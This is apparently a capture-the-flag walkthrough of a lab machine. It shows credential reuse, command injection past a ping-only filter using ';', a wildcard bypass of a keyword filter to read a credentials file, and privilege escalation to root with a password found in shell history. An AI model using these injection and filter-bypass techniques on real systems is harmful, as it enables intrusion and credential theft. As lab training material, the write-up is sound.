Using the credentials found during the SNMP enumeration -- loki:godofmischiefisloki
Two sets of credentials are found:
Username
Password
loki
godofmischiefisloki
loki
trickeryanddeceit
TCP PORT 80 (http, IPv6)
http://[dead:beef:0000:0000:0250:56ff:fea4:29f2]/
Attempting to log in using the credentials found on PORT 3366:
The credential pair, administrator : trickeryanddeceit, workedand so far, only the ping command could be executed. There is also a message written below.
In my home directory, i have my password in a file called credentials, Mr Admin
PART 3 : EXPLOITATION
Bypass the command execution in the service running on port 80:
$ ping -c 2 127.0.0.1; id
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1028ms
rtt min/avg/max/mdev = 0.020/0.040/0.061/0.021 ms
Command was executed succesfully!
$ id; ping -c 2 127.0.0.1
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Command was executed succesfully!
The command execution could be bypassed by using a ;.
PART 4 : GENERATE USER SHELL
Take the file called credentials from the home directory:
$ echo /home/*; ping -c 2 127.0.0.1
/home/loki
Command was executed succesfully!
$ echo /home/loki/*; ping -c 2 127.0.0.1
/home/loki/credentials /home/loki/hosted /home/loki/user.txt
Command was executed succesfully!
$ cat /home/loki/credentials; ping -c 2 127.0.0.1
Command is not allowed.
$ cat /home/loki/cred*; ping -c 2 127.0.0.1
pass: lokiisthebestnorsegod
Command was executed succesfully!
The word, credentials, is being filtered out by the service but it was bypassed by using a wildcard.
Logging in via ssh:
$ ssh -l loki 10.10.10.92
The authenticity of host '10.10.10.92 (10.10.10.92)' can't be established.
ECDSA key fingerprint is SHA256:deaxXTK7ORthfGcKdblPRUmgNrU20oclqMbwVj3hzYI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.92' (ECDSA) to the list of known hosts.
$ loki@10.10.10.92's password: lokiisthebestnorsegod
$ cat user.txt
bf58........................0060
PART 5.1 : PRIVILEGE ESCALATION (loki -> root)
Check for interesting files in loki's home directory:
$ ls -lah ~
-rw------- 1 loki loki 192 Jul 14 2018 .bash_history
...omitted...
-rw-rw-r-- 1 loki loki 28 May 17 2018 credentials
...omitted...
-rw-r--r-- 1 loki loki 0 May 14 2018 .sudo_as_admin_successful
-r-------- 1 loki loki 33 May 17 2018 user.txt
...omitted...
$ cat .bash_history
python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
...omitted...
sudo su
su
exit
su root
...omitted...
exit
There was an attempt to execute su root in the .bash_history. There is also a .sudo_as_admin_successful which might mean the attempt was successful.
A previously unknown credential pair was used to initialize the python simpleHTTPAuthServer and this might be a lead for the root password.
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ su
$ Password: lokipasswordmischieftrickery
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /root/root.txt
The flag is not here, get a shell to find it!
$ find / -name root.txt -type f -uid 0
/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/root/root.txt
$ cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt
ae15........................7807
